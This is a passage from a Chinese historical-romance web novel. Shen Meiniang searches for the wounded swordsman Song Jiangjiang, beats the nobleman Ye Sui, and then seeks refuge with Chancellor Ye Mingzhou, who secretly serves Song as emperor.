叶随没有注意到宋江江的变化,吩咐道:“还愣着做什么?动手啊!” 可就在其中一人举起剑向宋江江的手臂刺去时,他突然挣 脱开按住他的两人。 他反手握住那剑刃,鲜血顺着他握住剑刃的地方不住往下滴血。 他像是感觉不到一丝痛意般,趁着持剑之人怔愣的契机,一脚踢中那人的胸口,将剑夺了过来。 那几个和宋江江交手的杀手也有些意外。 这人就像是突然被什么不干净的东西夺舍了般,出手极为狠厉,招招都是取人性命的狠招。 内力似乎也深厚不少,几人很快就有些不敌。 叶随见势不妙,趁着几人还在缠斗,拔腿就跑。 宋江江没有去追叶随,想着料理完这几个杂碎,再去追他就是了。 几人很快就被宋江江打得毫无还手之力。 宋江江提着剑,目光无悲无喜地走近其中一人。 月光短暂地穿过云层和林翳,洒在少年的眼里,将里面的漠然和冷血照得一览无余。 只要他今夜挥下这剑,他就会彻底杀死那个叫“宋江江”的幼稚鬼,存活下来会是更适合这个时代的“姜颂”。 就在他的剑快要挥下时,那人连连告饶:“这位大侠、大人!小的做这行也是为了讨口饭吃,您、您就饶了我吧!” 宋江江的剑在碰到那人脖颈时停下。 那人见求饶有用,又继续哭诉:“小的上有老母要养,下有儿女需要教育,妻子也常年多病需要吃药……您就大人不记小人过,饶过小人吧!” 宋江江过往虽然读了很多圣贤书和那些“札记”,但他对贫穷和底层人其实没有太多了解。 幼年时,和母亲总是改换住所、云游四方,但也从未缺衣少食。 加之他发过高热,早就将那些不太愉悦的记忆淡忘。 直到在南州的这段时间,他认识了沈美娘,才切身明白一碗红糖水的重要性,才知道农家人的生活有多不易…… 即使不做“宋江江”,只是做“姜颂”,他也无法再对这种弱者挥刀。 如果他不杀眼前这人,或许他的子女就能念得起书,不会被人笑话白字先生,或许他的女儿就有母亲在她来月事时给她熬红糖水,或许……会多一个家庭幸福。 宋江江将剑掉了个头,没有取他性命,转用剑柄把那人拍晕。 可他的身体又变得古怪起来,刚才受的伤也隐隐作痛,他有些体力不支地用剑撑着身子。 那几个只是被他打伤的杀手见状,立刻重新捡起武器扑上来。 宋江江躲闪不及,身上又中了几刀,就在此时山林里闪出两个黑影。 他自然知道那两人是谁。 宋江江握着剑,晕过去前的最后一句话是:“不要下杀手。” 也许,他们也是别人的父亲,也是一个家庭的顶梁柱。 沈美娘说过叫他不要随便拔剑。 他果然……还是不能彻底成为“姜颂”- 沈美娘把玩着手里的玉佩,仍就没有丝毫睡意。 她今日说的那些话既是她的真心话,也有她想要逼走宋江江的意思在。 已经过了子时,叶司马和叶随今夜说是去赴什么宴了,今夜恐怕是回不来了。 等到明日她就要被献给叶丞相了,今夜这场宋江江带来的意外不会被他过问。 门被人推开,凉风吹得蜡烛晃动。 沈美娘头也没回,心中早就有了数:“宋江江,已经离开南州了吗?” 她当然不会让宋江江一个人离开。 叶家的家丁刚问完情况,沈美娘就让青词去追他了,让青词一定要看到宋江江平安离开南州城才行。 青词:“娘子,我看到宋少侠进了叶丞相在南州的处所,还把他的剑留在了那里。出来后,宋少侠就出城了,看样子是往芙蓉谷去了。” “除此之外,还有人跟着他,我瞧着像是黑市上的杀手。” 沈美娘猛地将玉佩揣进自己的袖子:“你怎么不跟上去?” 青词解释:“娘子,您只是让我看着宋江江出城……” “够了,你不要以为我不知道你在想什么。你无非是担心我和宋江江私奔,就不能完成答应你的事。”沈美娘打断青词。 “带我出城!”沈美娘用攀膊将宽大衣袖收拢,动作干净利落:“我答应你的事我会做到,但宋江江他不能死。” 青词欲言又止,最终还是带着沈美娘从司马府上离开。 临走时,两人还叫醒了尚在睡梦中的宝儿,将她送到了赵大郎处。 一路上,沈美娘都在思考究竟是谁会对宋江江下死手呢? 难道是叶六? 她很快否决了这个想法。 叶六的事是她让赵大郎和青词处理的,给他的教训够让他躲着她和宋江江走了。 那还能是谁呢? 还有谁那般恨宋江江,竟然花钱去黑市买凶,也要除掉他呢? 难不成是宋江江之前得罪的人? 他不是说他当真是大官的儿子,那说不定是他家里和他争家产的兄弟、叔伯什么的? 沈美娘觉得自己的脑子都快糊涂了。 她只清楚地知道自己不想让宋江江死。 “再快些!”她催促骑马的青词。 从南州城回芙蓉谷有很多条路,但她前两次和宋江江往返都是走的同一条。 她只能赌,这一次宋江江走的也是那条路。 出城半个时辰后,她渐渐绝望,那些人想对宋江江动手,肯定不会在官道上动手。 定然是将他带进密林深处杀掉,又或是将他杀后抛尸,抛进死水潭、抛进枯井、抛到人迹罕至的深林…… 哪里都有可能。 那个爱笑的、正直的少年,会永远长眠在无人知晓的地方,直到腐烂,也可能等不到腐烂,就被鱼虾、蛇鼠、野狼啃食殆尽。 沈美娘眼中渐渐被偏执、疯狂的神色填满。 突然青词勒马停下,沈美娘急忙问:“找到宋江江了吗?” “这里有好几匹马。”青词道。 谁会大晚上在荒郊野岭放马呢? 两人从马上跳下来观察这片草地。 还好只是刚入秋,南州草木大多也是经冬不败的,地上的草还算葱郁。 虽然看得出来足迹有所掩盖,但青词在这方面还算是经验丰富,很快就辨认出那一队人是往哪里走的。 沈美娘立刻循着痕迹飞奔起来。 她害怕自己去晚了,小剑客万一打不过。 谁知才跑了不到一刻钟,她就和一个黑影撞上。 沈美娘喜出望外:“小剑客,是你吗?” 那人疑惑道:“美娘?” 沈美娘听出来了这是叶随的声音,全身的血液都在刹那间仿佛凝固住。 这是她都没想到的,最可怕的一种结果。 叶随最是小心眼,从小也无法无天惯了,他在宋江江身上吃过亏,肯定恨不得杀了他。 这人兴许不只是杀了宋江江那般简单。 他会折磨、凌辱,再叫人虐杀他。 沈美娘强撑镇定:“是我。二公子,这般晚了,还来这郊外做什么?” 叶随反问:“没什么,就是突然想出城看看风景,就逃了今夜的宴会。美娘,你来这里又是做什么?” “我来找人。”沈美娘凑近叶随,抱住他柔声道。 两人隔得近,她就能清楚闻到他身上的血腥味。 叶随:“什么?” 沈美娘笑得更加温柔,不打算继续和叶随虚与委蛇:“叶随,你刚才是不是杀了人?” 叶随没想到沈美娘会突然这般问。 他刚才叫人教训宋江江,怕他们打不过,就自己先跑了。 但叶随肯定不能这么和沈美娘说。 他堂堂一个贵公子,带了五个杀手来,结果还打不过宋江江一个人,岂不是太丢面子了。 叶随笑道:“美娘是知道了吗?就是那个宋江江,你不是打发走了吗?今夜他又冲撞了我,我瞧他不顺眼,就让人把他杀了。” 沈美娘这般爱他,肯定不会就因为他杀了个小剑客就和他生分吧。 “你杀了他。”沈美娘很平静地重复。 叶随觉得眼前的沈美娘变得陌生起来,不知为何有些冷汗 涔涔。 今夜的明月已经躲进了云里,天黑漆漆的,叶随看不清沈美娘的脸。 如果他能看到,就会发现她那张总是笑吟吟的脸、那张漂亮过头的脸,此刻已经被愤怒扭曲,让人见之生畏。 叶随不知道沈美娘的变化,上前揽住她:“你是来找他的?一个小剑客而已,杀了就杀了。美娘,你不会为他和我生分了吧?” 沈美娘笑:“叶公子说得对,一个小剑客而已。” 叶随跟着她笑起来,但下一刻,他就被她一脚踹倒在地。 沈美娘瞪了一眼想上前阻止的青词:“滚远点。” 叶随没想到平日里温柔小意,没骨头、没脾气的女人,此刻居然会如此可怕。 他挣扎着想起身,就被沈美娘又踹了一脚,膝盖直接跪在地上,膝盖骨像是要碎掉般钻心的疼。 “宋江江是死了,可是我心里不舒服。”沈美娘扯了个笑,“杀人是要偿命的。” “就算他只是一个小剑客,也得有人给他偿命。” 沈美娘搬起一块巨大的岩石,往叶随的肩颈砸去,连带着把他头上的玉冠都给砸落在地。 叶随痛呼一声,额头和脖颈都被砸得鲜血淋漓。 沈美娘却并不打算就这般放过他。 她拎住叶随散开的头发,就要将他整个人往石块上砸去。 像是不看到他脑髓被砸出来,呜咽着咽气,就不罢休一般。 叶随连连讨饶:“我没杀他!我没杀他!” 闻言,沈美娘在叶随即将撞上石块时,扯住他的头发将他扯回,俯身逼问:“你说什么?” 叶随:“我、我的人和他打得有来有回,我先跑了。” “你说真的?”沈美娘问。 叶随举手发誓:“我发誓、我发誓,比真金还真。” 沈美娘这才甩开像滩烂肉的男人:“他们在哪?” 叶随指了个方向:“前面的深林里,不、不远……” 沈美娘几乎刚听到这话,就拔腿往密林深处跑去。 “娘子!沈美娘!”青词跟在她身后的声声疾呼,她都置若罔闻。 沈美娘心头只有一个想法。 宋江江不能死。 他是单纯幼稚到可笑,看事情、做事情都透着股涉世未深的傻劲儿,可是……他不该死。 他什么都没做错,他才不该死。 沈美娘逐渐闻到了更加浓烈的血腥味。 不是叶随身上那种淡淡的,只是经过血腥之地而留下的味道。 是人的血肉被划开、刺破,又躺了许久,才会有的血腥味和腐臭味。 沈美娘靠近那血腥味的源头,看到了地上横七竖八的“尸体”。 她猛地跪在地上,感觉自己的手脚一个劲儿抖动着,都不听自己的话了。 “宋江江。”沈美娘跪在地上,一具一具尸体地翻找。 这个不是。 这也不是…… 等翻到最后一具尸体时,沈美娘才笑出声:“我就知道小剑客剑术精湛,不会有事的。” 她嘴角笑得弧度越来越大,过于诡异夸张的笑容让人看着心惊,又好像她只能用这样才能安抚住自己,不至于发狂。 沈美娘知道宋江江有一线生机后,手脚才重新有了力气,挣扎着起身。 这么多人围攻那小剑客一个人,他就算能逃走,肯定也是负了重伤。 说不定就藏在这附近哪个矮木、灌丛里。 小剑客上次被叶六绑走时的伤都没好全,如今又落下新伤,一定很疼的。 青词检查了那几个倒地不起的人,急忙拉住想要继续往里去的人:“沈美娘!” “这些人都没死,我瞧着像是出手之人,不愿意夺人性命。”青词解释。 沈美娘听到这话怔愣在原地,然后骂了一句:“蠢死了,我说让他不要随意拔剑,又不是让他不自保。” 这世上怎么会有宋江江这么蠢、这么幼稚,却……又让她喜欢的人啊。 青词在几人当中找出了受伤最轻的那人,按住他的人中,用随身的针包给他扎了几针。 沈美娘见人醒了,立刻问:“你们今夜追杀的那个人呢?” 这人眼神飘忽不定,不愿坦诚相告。 沈美娘揪住他的衣襟:“你再不说,都不用雇你的人惩罚你,我现在就杀了你。” 那人被沈美娘眼中的癫狂神色吓到,哆嗦着道:“我们原本就要得手了,但不知为何,突然从树林里窜出两个人,将他救走了……” 沈美娘又问:“什么人?” “不知道,看身手不像是江湖上的人,更像是……官兵?那两人还喊他公子什么的。”这人说完就又晕了过去。 沈美娘松开手。 宋江江真的没死。 这就是最好的消息。 沈美娘终于从刚才的不理智中回过神来,仔细思考如今的情况。 宋江江被人救走,至少性命无虞了。 沈美娘从袖子里拿出宋江江给他的玉佩,突然高高举起,似乎是想将它摔个粉碎。 最后她还是没那么做。 沈美娘捏紧那枚玉佩,直到眼泪滴答滴答打在玉面上,她才发觉自己哭了。 她到此时此刻才发觉,她远比自己以为的更喜欢宋江江——却是在此生两人大抵不会再见面以后。 沈美娘没有摔碎玉佩,突然将青词腰间的刀从腰侧拔/出。 青词惊呼:“沈美娘!” 她以为沈美娘这是要为宋江江殉情。 但沈美娘只是将刀一横,割断了她额前的一缕鬓发。 断发代断头。 沈美娘承认她喜欢宋江江,但她还不想死。 宋江江的喜欢太珍贵了,她就以这一缕青丝作为补偿。 自此后,她与宋江江就算是一别两宽、互不相欠。 沈美娘眼中的扭曲情绪,逐渐平息,恢复成往日恬淡温和的目光。 她将刀抛回给青词:“司马府不能回去了。” 叶随今夜出城不归的事,肯定会被叶司马知道。 她把叶随打成那个样子,这司马府肯定是不能回了——不仅不能回,她还得找个新靠山。 青词懂沈美娘的意思,问:“那该如何?” 沈美娘:“叶丞相和叶家关系不好,又颇有佳名,是条出路。我去叶丞相府上碰运气,你把我箱子里重要的东西赶紧拿到赵大郎处。” “若是事成,明日酉时,我或丞相府的侍女会到当铺对面的成衣店买水红衣裳。若是没有……”沈美娘讲到这里默了一下,“你带着赵家兄妹和宝儿进京去。” 沈美娘冷静至极的语气,丝毫让人想不到她刚才还瞧着丢魂落魄。 她又道:“若是酉时没消息,立刻把当铺关了,进京去投靠谢党——就拿着叶六这些年略人和叶家占地的证据去。” “谢党与叶党不和,他们会庇护你们的,至于我答应你之事……沈温在谢党,他会帮你。”沈美娘道。 青词看着沈美娘毫不犹豫转身,察觉到她没跟上去,还颇为不解地回头看她:“怎么?你想在这里等死吗?” 青词这才跟上去。 她想从沈美娘的眼里看出不舍、看出悲伤,可是都没有,就好像刚才那个为了宋江江想要杀人的人不是沈美娘一样。 沈美娘看穿了她的想法,抬眼向远处看去,语气平淡:“我和他已经缘尽于此了。” “他会做他浪迹天涯的剑客,至于我——”沈美娘眼神依旧坚定,“我还是要追求我想要的荣华富贵。” 青词被沈美娘脸上的坚毅震惊,她一直都知道沈美娘厉害,但还是没想到她竟然能够洒脱到这种地步。 月亮已经从阴翳里挣脱,将沈美娘眉眼间不认命的倔强照得一清二楚- 叶丞相暂住的府上,从天将明时就被守卫戒严,府中正房里时不时有人端着血水和清水进进出出。 等到天大亮,随行的太医才处理好 宋江江身上的伤口,又喂了几次药才让他脱离险境。 太医擦了擦脸上豆大的汗珠,觉得自己九族总算是保住了:“回禀丞相,公子已无大碍,手上的伤只要好好用药,不出一月就能痊愈。” 叶丞相颔首,给另外两个守着宋江江的人使眼色。 那二人心领神会,跟着叶丞相出了内室,就跪在地上认错。 叶丞相皱眉训斥:“公子不懂事,你们也不懂事吗?就这样跟着公子胡闹!” 叶明舟知道这两个侍卫见安和知宁,都是宋江江母亲的徒弟,他们如今只听宋江江指挥。 但是就这样纵着宋江江放下江山社稷不管……他们也实在是太无法无天了。 见安自知理亏,默默挨叶丞相训,但知宁显然就不是,他嬉皮笑脸反驳:“叶先生,陛、公子不是都安排好了他的‘身后事’了吗?况且,陛下和我们二人说了,我们俩不能动手……” 陛下离京前,给叶丞相留的信里不仅安排好了他“死后”的事,也和叶丞相打了赌——只要陛下不靠旧人帮助,能一路顺利到明州,就算是他赢了。 陛下最讨厌别人胜之不武,要是他们出手相助了,陛下就算是赢了也会生气的。 “但像昨夜那种危急关头,属下当然是立刻出手相救了。”知宁补充道。 上次在芙蓉谷也是,他们见陛下受了重伤,也是想出手帮忙的。 可是谁知道半路出了个沈美娘。 想到陛下这几月和沈美娘的相处,知宁笑得更意味深长:“属下觉得公子挺乐在其中的。” 叶明舟已经知道宋江江这几月的经历了,那位救了宋江江性命的女子,他也大致有所了解。 这二人是宋江江亲信,他也不方便多说,挥了挥袖就让人退下了。 恰在此时,叶明舟看到伺候的丫鬟出来通传:“大人!公子醒了!” 叶明舟听到这话连忙往内室走去。 他也不知道究竟该拿宋江江怎么办才好。 宋江江和他娘一样,都是十足十的犟骨头,不愿意做的事就算拿刀架在他脖子上,都不可能点头的性格。 更何况,这孩子就算这次被他逮回去了,以后也还是会想尽一切办法再跑的。 这次他看了信又正好碰上宋江江得罪人受了伤,在城门口捉住了他,下次可未必有这般好的机会了。 叶明舟隔着屏风,一时踌躇不知进去了该如何说。 宋江江察觉到了他的到来,主动开口:“叶先生既然来了,便进来说话吧。” 叶明舟进去,恭敬给宋江江行礼。 他以为他会看到宋江江不高兴,看到他生气发脾气,乃至是怨恨的眼神。 可是宋江江远比他想的更为平静,甚至…… 眼前的少年经历了几个月的流离,褪去了从前的青涩,此刻稳重平和的神态,让他想起了先帝。 叶明舟发现他可能不需要劝宋江江了。 果然,下一刻,宋江江就道:“叶先生,你是对的。或许,他也是对的。” 宋江江口中的“他”自然指的是先帝。 叶明舟很是诧然。 宋江江除了眼睛像他娘外,脾气和他娘也跟一个模子里刻出来的。 先帝当年为了挫掉宋江江那些悲天悯人、优柔寡断的脾气,可没少罚他。 明明只要认个错,先帝就随他去了,可这孩子宁愿罚跪、罚抄书,也从来没和先帝低过头。 叶明舟意外:“公子,您这是……” 宋江江用没受伤的手自虐般地去碰伤口,那夜熟悉的痛感再次涌来,他语气平静:“我会做个好皇帝的,这是我应该承担的责任。” 所谓的公理正义带给他的只有无尽的痛苦,但权力就可以让他得到想要的一切,毁掉讨厌的一切。 他一点也不憧憬“那个世界”了。 宋江江看向叶明舟,眯了眯眼:“叶先生有个族兄在南州做司马吗?” 叶明舟一时没明白宋江江问这个的意图,迟疑道:“是有这么个亲戚,不过臣与宗族素来疏远。” 宋江江当然知道这点,问这个也只为确定叶明舟和叶家的事,究竟有没有关系。 他盯着叶明舟的脸看了好一会儿,悠悠道:“叶司马不干净,和略人的生意有牵扯,好好查查吧。” 宋江江好像就跟变了个人般,从前这孩子肯定会直接问他“叶先生和叶司马有关系吗”,或者直接就把事情丢给他了。 但是现在的宋江江更像一个合格的皇帝,更符合先帝对他的期许。 叶明舟本来应该高兴,他这算是完成了先帝的嘱托,可是看到宋江江冷漠的神情,他却有些于心不忍。 就像亲手扼杀了一条鲜活的生命般。 叶明舟想起宋江江给他的信,又问:“公子,您在信中除了这略人之事,还提及了那沈娘子,您……” “不用管她。”宋江江立刻道。 他刚才还古井无波的眼神就像是被人砸了块石头,泛起阵阵不住的波澜。 宋江江眼中的情绪也不像是怨恨,更像是情人间的……埋怨。 叶明舟心里突然就有了底。 宋江江还是那个宋江江。 “她喜欢荣华富贵,你等她来了,给她点钱打发了就是。”宋江江装做自己并不在意。 叶明舟点头:“是。” 他看宋江江转过头看风景,就好像真不在意沈美娘,又道:“若是无事,臣就先退下了,公子好生休养。” 宋江江应了一声,可叶明舟才转身走了两步,他又开口叫住叶明舟:“别给一点!那女人最喜欢那些东西,得多给她一些,叫她下辈子都吃穿不愁才行。” 叶明舟心下了然,脸上却还是没什么变化:“是。” 他走到门边,手将要搭在门上时,又听到宋江江的声音传来——“等等。” “她是贱籍,帮她脱籍,不能编假身份,得就是她的身份……就说她捐资修路,钱财从我娘留给我的钱里出。”宋江江又道。 他想了想,又补充道:“如果可以,先生还是收她做义女吧。” 叶明舟听到宋江江的话,故意反问:“可还需要臣按您在信中说的,在京中佳公子里,为沈娘子挑个人品样貌皆上品的。” 宋江江否决:“不行!” 意识到自己说了什么后,他的脸涨得通红。 可能是为了证明他才不在意沈美娘,又偏过头去:“随便,都行,她爱嫁谁嫁谁。” 叶明舟听到这话,确信宋江江是真的喜欢沈美娘了。 这孩子从小善良,救过的人多得数不清,男的女的都有,他原本还以为宋江江对沈美娘也只是动了“恻隐之心”。 原来不是动了恻隐之心,是真的动了心。 “公子、大人。”门外传来侍女的声音,“有位沈娘子拿了这枚玉佩,自称与叶大人是故交,想与您见一面。” 宋江江忍不住开口:“什么故交,那明明是我送给她的。” 这个沈美娘怎么乱说话,还一点都没提他。 宋江江没有告诉沈美娘叶丞相认得这枚玉佩,他原本的安排里,是叶先生会在看完他的信后,今日主动去司马府找沈美娘才是。 她怎的自己拿着玉佩来找叶丞相呢? 侍女将玉佩呈进来,原本还在因宋江江少年心动觉得有些好玩的叶明舟,看到玉佩的刹那就愣住了。 信中说了是玉佩,但叶明舟从来没想过会是这枚玉佩。 宋江江居然将他从不离身,他娘留给他最重要的遗物,送给了那个沈美娘? 宋江江看了那玉佩一眼,佯装没看见,随口道:“叶先生去吧。” 叶明舟看出宋江江是故作不在意,实际上手一直在揉捏被子一角——他都担心宋江江等会儿把被子揉烂,又或者把伤口又弄出血。 叶明舟给宋江江递台阶:“公子,不如也去瞧瞧吧。毕竟,这枚玉佩是您的东西。” “给了她就是她的了,我可不是送了东西还会要回来的小气鬼。”宋江江嘴硬。 想到沈美娘那夜和他说了那些话,他心里就生气。 沈美娘那个女人根本就不懂爱情! 更何况……那夜被她劈头盖脸一顿输出, 他现在又屁颠屁颠跑过去,那他成什么了? 宋江江的手却没再用力揉搓被子。 叶明舟看到宋江江的动作,低眉思索片刻,道:“那公子出去走走也好,您受了伤不方便,就让下人推着您走也好。” 宋江江听到这话“哼”了一声。 叶明舟觉得不对——先帝当年和宋江江她娘吵架,他就是这么给先帝递台阶的。 先帝那种性格每次到这个时候也知道顺坡下驴,怎么陛下如今反而不懂这个理儿? 叶明舟没疑惑多久,就看到宋江江不情不愿起身:“我去看看。” 他再三重复:“我就是去走动走动。” 他才不是想见沈美娘! 第25章 第25章想要荣华富贵一共需要几…… 沈美娘被侍女带到偏厅里等叶丞相。 她含笑向侍女道谢,那侍女不过匆匆看了一眼,就不由脸红心跳。 眼前的女人不仅容貌上生得极美,还自成一股妩媚风流,就算是教坊的头牌怕也是比不上的。 沈美娘看到侍女有些踉跄地离开,却没听到她被人斥责的声音。 叶司马一个司马排场就够大了,府上规矩也严,要是司马府的侍女伺候外客如此不端庄,肯定是会被训斥的。 那就说明,这叶丞相要么是比叶府更严,知道教训仆人得背着点外客——这样的话,叶丞相就是个好面子的。 要么就是这叶丞相初到南州城,可能没带什么侍从,这里的仆人都是当地官员给他安排的——那他就是个不够谨慎的。 当然还有种可能,就是这叶丞相对下人不算严苛…… 沈美娘回想从她在叶丞相的宅邸外,拿着玉佩拜访时见到的小厮,再到刚才颇为有礼地为她引路的侍女。 还有这一路上对这个宅子的观察。 这个宅院自然不算寒酸,但却连司马府的气派都比不上。 她注视着桌上颜色素雅的杯盏,心里对这位叶丞相有了初步的判断。 是不是好人不知道,但至少是个伪君子。 沈美娘听到远处有脚步声传来,看到门外有一抹紫色,连忙俯身叩拜:“贱奴见过丞相大人。” “不必多礼。”她听到一道温润的声音。 沈美娘恭谨地应道:“是。” 她起身跪坐好,头却依旧谨小慎微地低着。 沈美娘头低着,脊梁却挺得很直,像是经霜凌雪的翠竹般挺拔。 倘若不是事先让人查过这个沈美娘,她也自称奴婢,叶明舟都要下意识将她当成那些闺秀淑女了。 叶明舟本就因沈美娘救过宋江江的事,对这姑娘颇有好感,此刻见到她如此不卑不亢,对她愈加满意。 他语气更为温和:“沈娘子拿来的玉佩,我好像没什么印象,我与你也不是什么故交。沈娘子可知道愚弄朝廷官员是何罪?” 叶明舟按照宋江江吩咐的那般回答。 他不知道为何陛下不与沈美娘相认,还要他先装作不认识这枚玉佩。 沈美娘听到叶明舟这种高官,居然会尊称自己为“沈娘子”,心中满是不解。 不过这倒是更让她心里有了确信的答案。 她俯身,猛地给叶明舟又叩了好几个响头。 叶明舟还没反应过来,院中被侍卫搀扶着一直旁观的宋江江,下意识就往这边跑了好几步。 如果不是宋江江腿脚不便,没跑两步就差点摔倒,此刻怕是已经被沈美娘发现他的存在了。 叶明舟回神过来,心里又惊又怕,急忙止住她的动作:“沈娘子不必如此。” 沈美娘停了磕头,屋外的宋江江也才不再想进来,继续默默盯着里面的人。 沈美娘总觉得除了叶丞相,还有人在看她,但她又不能转过头去看。 她只当是伺候的侍女在偷看,继续演戏:“贱奴自知蒙骗大人实在是罪无可恕,只是贱奴实在是不知还能去求谁……” 叶明舟心里更加奇怪:“沈娘子究竟有何事想说?” 沈美娘这才抬头,她双眼噙着泪,眉眼低垂,看起来楚楚可怜却又透着股倔强的劲儿。 她悠悠道:“奴从小是听着叶丞相为官一方,就造福一方的故事长大的,知道这天底下就没有比叶丞相更清正廉明、爱民如子的好官了。” 不管了,先给这姓叶的戴几顶高帽再说。 “贱奴是司马府上的奴婢,背主之事乃是不忠,可奴实在不愿意看着叶家人仗势欺人、占人良田,还给那些略人勾当撑腰的事……奴知道大人心如玉壶,定不会坐视不理的。”沈美娘道。 她说完这话,又磕了好几个头:“奴叛主实在该死,大人杀了贱奴也是应该,但还请大人能秉公办理。” 叶明舟听到沈美娘的话颇为意外。 他瞧这人看着弱不禁风的样子,原以为会是个柔弱的姑娘,陛下才想要将她托付给自己。 可是如今看到沈美娘这般坚毅,倒是让叶明舟刮目相看。 叶明舟对沈美娘的好感又深了许多。 他试探问:“你说的这些事可都有证据?” 沈美娘点头:“贱奴认识一对赵姓兄妹,他们全家皆因叶家占田被祸害得家破人亡,还知道有一名叫叶六的地痞,他和他的手下素来常为叶家做些见不得人的勾当。” 门外的宋江江听到沈美娘的话,才意识到她从来就没打算放过叶家。 什么因为得罪主母才被赶到芙蓉谷——沈美娘该是早就安排好了一切,故意被赶出叶家,既能避开叶随的骚扰,也好到芙蓉谷见赵娘子。 她走的每一步,都是她精心算计的结果。 叶明舟:“这些证据你是如何知道的?” 眼前的女子不过是个奴婢,怎会知道如此多的事情。 沈美娘:“奴看不过叶家屡屡犯下的大错,平日里多留意了一些。” 叶明舟明白这话是沈美娘敷衍他的,也能懂沈美娘这是在暗示她很聪明的意思。 沈美娘是想让他知道她有价值,不论是她这张漂亮脸蛋,还是她的手段。 叶明舟因对沈美娘这块“璞玉”的欣赏,一时都忘了她与宋江江的关系。 他故意试探:“你说自己聪慧,却拿着一块玉佩贸然蒙骗当朝宰辅,这般看来,你还是不够聪明。” 沈美娘不紧不慢辩解:“叶家打算将我献给大人,那样奴就会被打上叶家烙印,来日叶司马获罪,也会连累奴。” “说不定还会连累大人,若是那般,贱奴就是万死也难赎罪。”沈美娘道。 叶明舟:“你说的倒是有理。” 他又瞧了几眼这人,才反应过来这姑娘的话,不就是默认他会收下她吗? 一时不小心,倒是被她给套进去了。 叶明舟不由更欣赏沈美娘:“可是你这样背主之人,若是来日……” “贱奴以性命起誓,此生定报大人知遇之恩,绝无二心。”沈美娘难得失了规矩,打断叶明舟的话。 沈美娘说哭就哭,眼泪像断线的珠子般“啪嗒啪嗒”往下掉:“贱奴本是良籍,是被那叶司马贬良为贱,那种悖逆国法之人,怎能与叶大人相提并论。” 叶明舟不知道沈美娘“变脸”的本事,看她哭了,连忙道:“既是如此,那便……” 他看向远处的宋江江,见对方不太乐意地点了点头。 沈美娘听到叶明舟的停顿,心中疑惑,可她又不能抬头。 下一刻,叶明舟的回答冲淡了她心中的疑惑:“你便先在府中安顿下来吧。” 沈美娘立刻俯身在地上又叩了几个响头:“多谢大人!” 叶明舟被她突兀的动作,吓得不轻,连忙唤来侍女带她下去休息。 他怕自己再和沈美娘说话,她指不定又给他磕头。 叶明舟哪里敢让陛下的救命恩人给他磕头啊。 沈美娘跟着侍女们从偏厅离开。 临走时,她依旧感觉有人在看她,回身向院中看去,却什么也没看到。 只有叶丞相眼神颇为慈祥地目送她。 看到她回身,还笑得愈加慈爱。 沈美娘这才压下心中的怪异感。 她原 本还希冀是不是宋江江那小子……不过想想也不可能。 那天晚上她说的话那般难听,稍微有点脾气的人怕是得和她老死不相往来了。 更何况宋江江可是要去做他的大侠的,怎么会浪费时间来看她? 宋江江望着沈美娘快步离去的背影,心里说不出的失落。 刚才她转身看过来时,见安连忙拉了他一把,才没叫他暴露。 见安朴实地笑:“公子,我记着您的吩咐,刚才我瞧沈娘子想回身,立刻就……唉哟,知宁你打我做什么。” 更精明些的知宁,打量宋江江有些落寞的神色,压低声音:“就你武功好。” 没看到陛下刚才巴不得被沈娘子发现吗? 宋江江收回目光,叶丞相向他走来:“公子叫我留下沈娘子,不知是打算作何安排?” 叶明舟虽然嘴上是在问,心里却知道宋江江肯定是喜欢人家姑娘。 那依宋江江的性子,这位沈娘子就是皇后都做得。 “以后再说。”宋江江心烦意乱道。 沈美娘说什么她爱自己,可是她的爱情根本就不是爱情。 喜欢一个人,怎么可能还接受他和别人有牵扯? 宋江江的观念里,人只能和喜欢的人共度一生。 如果沈美娘不喜欢他的话——宋江江才不要和她在一起。 叶丞相也不知道两人之间的恩怨,不过他的处世之道有一条就是“不要掺和情人间的事”。 他思索片刻,又道:“这位沈娘子,瞧着倒是十分聪慧,像是读过不少书的样子。” 宋江江听到这话,下意识道:“那当然,沈娘子就是又聪明又漂亮,读过的书也……不是,她读过书?” 沈美娘可是货真价实的白字先生。 叶丞相:“刚才臣与沈娘子交谈,她言谈举止都不像是寻常奴婢,更像是读过书的大家闺秀。” 叶明舟都忍不住猜测,这个沈美娘会不会是哪个罪臣之女了。 若不是言传身教,哪里会有这般学识气度? 宋江江抬眼看叶丞相,欲言又止。 若是他这位平日里看人最准的师父,知道沈美娘是个不折不扣的白字先生会作何感想。 但他没有拆穿沈美娘刚才营造出来的假象,冷笑两声:“她确实不是寻常人。” 寻常人可说不出“和多少人上床,都不影响她只爱宋江江”这种话。 宋江江想到这里更为生气。 沈美娘究竟把他当成什么呢? 召之即来,挥之即去的“男宠”,还是真觉得自己真不会生她气? 叶明舟看宋江江一个人站在那儿,脸越来越黑,也不知道他在想些什么,自己又该怎么劝。 幸好,这时侍女的声音打破了局面:“公子、大人,那位沈娘子说,她想请大人派人去东市给她买衣裳,顺便将她的旧友接来。” 宋江江臭着脸:“这种小事随她就是了,有什么好问的。” 侍女又道:“那位娘子还说……” “她还说什么?”宋江江语气更为不悦。 沈美娘破了僵局,记得接她的好姐妹享福,却都不让叶丞相去找找自己。 她果然不在乎他。 侍女不知道为何今日这位公子脾气格外不好,但还是只能硬着头皮回答:“那位娘子让大人将玉佩还给她,沈娘子说……” “她说,这玉佩是她最重要之人留给她的,是比她性命都重要的东西,希望大人能原谅她今日蒙骗之事,将玉佩还给她。” 侍女说完这句话,宋江江愣在原地。 半晌,他才眨了眨,害羞青涩地低头笑了笑。 他努力压下上扬的嘴角,将刚才叶丞相递给他的玉佩交给侍女:“给她吧。” 可是等侍女离开,他都还是控制不住脸上的笑意。 哪里还有刚才生气的模样。 沈美娘那边拿到玉佩,就从袖子里拿了一粒碎银放到给她送玉佩的侍女手中:“多谢这位娘子。” 侍女连忙推辞。 沈美娘见这人是真不打算收,就笑着将银子放进荷包里,又试探问:“这位娘子是第一次来南州吗?” 侍女不知沈美娘问这个做什么,迟疑着点了点头。 沈美娘了然,那就是叶丞相从京中带来的人了。 以后就能从这人口中探知,京中的形势和叶丞相府中情况。 沈美娘轻笑:“那娘子无事时,可以去东市逛逛,那里卖东西的多,除了南州本地的新奇玩意儿,还有不少西域来的好东西。” 侍女笑着和她道谢。 沈美娘将玉佩装进袖中,原本还想继续套点话,就听到宝儿的声音:“沈美娘!” 宝儿跑进来,用力抱住沈美娘,一把鼻涕一把泪:“你这个混蛋,你知不知道我有多担心你……” 沈美娘得罪了叶司马,还敢跑到叶丞相这里来“碰运气”?! 今日,若不是青词把宝儿拍晕过去了,她早就跑到这里来要人了。 